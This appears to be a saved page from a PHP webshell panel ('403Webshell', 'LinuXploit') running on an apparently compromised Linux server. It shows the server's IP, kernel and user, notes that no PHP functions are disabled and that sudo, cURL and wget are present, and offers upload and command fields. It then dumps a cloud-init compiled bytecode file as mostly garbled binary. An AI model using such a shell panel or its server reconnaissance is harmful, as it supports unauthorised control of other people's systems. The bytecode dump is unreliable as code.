403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/lib/python3/dist-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/lib/python3/dist-packages/cloudinit/__pycache__/performance.cpython-314.pyc
+
��ig��n�^RIt^RIt^RIt]P!]4t!RR4tRRRR/RRlltR#)	�Nc�Na�]tRt^toRtRRRR/V3RlRlltRtRtR	tVt	R
#)�Timedaf
A context manager which measures and optionally logs context run time.

:param msg: A message that describes the thing that is being measured
:param threshold: Threshold, in seconds. When the context exceeds this
    threshold, a log will be made.
:param log_mode: Control whether to log. Defaults to "threshold". Possible
    values include:
    "always" - Always log 'msg', even when 'threshold' is not reached.
    "threshold" - Log when context time exceeds 'threshold'.
    "skip" - Do not log. Context time and message are stored in the
        'output' and 'delta' attributes, respectively. Used to manually
        coalesce with other logs at the call site.

usage:

    this call:
    ```
    with Timed("Configuring the network"):
        run_configure()
    ```

    might produce this log:
    ```
        Configuring the network took 0.100 seconds
    ```
�	threshold�{�G�z�?�log_modec�,<�V^8�dQhRS[RS[RS[/#���msgrr��str�float)�format�
__classdict__s"��7/usr/lib/python3/dist-packages/cloudinit/performance.py�__annotate__�Timed.__annotate__%s)�����
���	�
��c�T�WnW nW0nRVnRVnRVnR#)�gN)rrr�output�start�delta)�selfrrrs&&$$r�__init__�Timed.__init__%s(����"�� �
������
���
rc�:�\P!4VnV#)N)�time�	monotonicr)rs&r�	__enter__�Timed.__enter__3s���^�^�%��
��rc��\P!4VP,
VnRVPR
R2pRVP8Xd$\
P
RVPV4R#RVP8XdR#RVP8XdWVPVP8�d:\
P
RVPV4VPRV2Vn	R#R#\R	VPR
24h)ztook z.3fz seconds�alwaysz%s %s�skipNr� zInvalid Timed log_mode value: 'z'.)rrrrr�LOG�debugrrr�
ValueError)r�exc_type�exc_val�exc_tb�suffixs&&&& r�__exit__�Timed.__exit__7s����^�^�%��
�
�2��
�����C�(��1���t�}�}�$��I�I�g�t�x�x��0�
�t�}�}�
$��
�D�M�M�
)��z�z�D�N�N�*��	�	�'�4�8�8�V�4�!%���
�!�F�8�4���+��1�$�-�-���C��
r)rrrrrrN)
�__name__�
__module__�__qualname__�__firstlineno__�__doc__rr r-�__static_attributes__�__classdictcell__)rs@rrrs7�����8� �	�
$�����rrrrrc�<�V^8�dQhR\R\R\/#r	r)rs"rrrHs!��#�#�s�#�%�#�#�#rc�aaa�VVV3RlpV#)a�
A decorator which measures and optionally logs context run time.

:param msg: A message that describes the thing that is being measured
:param threshold: Threshold, in seconds. When the context exceeds this
    threshold, a log will be made.
:param log_mode: Control whether to log. Defaults to "threshold". Possible
    values include:
    "always" - Always log 'msg', even when 'threshold' is not reached.
    "threshold" - Log when context time exceeds 'threshold'.

usage:

    this call:
    ```
    @timed("Configuring the network")
    def run_configure():
        ...
    ```

    might produce this log:
    ```
        Configuring the network took 0.100 seconds
    ```
c�N<a�\P!S4VVVV3Rl4pV#)c�~<�\SSSR7;_uu_4S!V/VBuuRRR4# +'giR#;i))rrN)r)�args�kwargs�funcrrrs*,����r�	decorator�)timed.<locals>.wrapper.<locals>.decoratords/����s�i�(�C�C��T�,�V�,�D�C�C�C�s�+�<	)�	functools�wraps)r<r=rrrsf ���r�wrapper�timed.<locals>.wrappercs&���	����	�	-�
�	-��r�)rrrrAsfdd r�timedrDHs���6��Nr)r?�loggingr�	getLoggerr/r&rrDrCrr�<module>rGsA�����
����!��=�=�@#�$�#��#�#r

Youez - 2016 - github.com/yon3zu
LinuXploit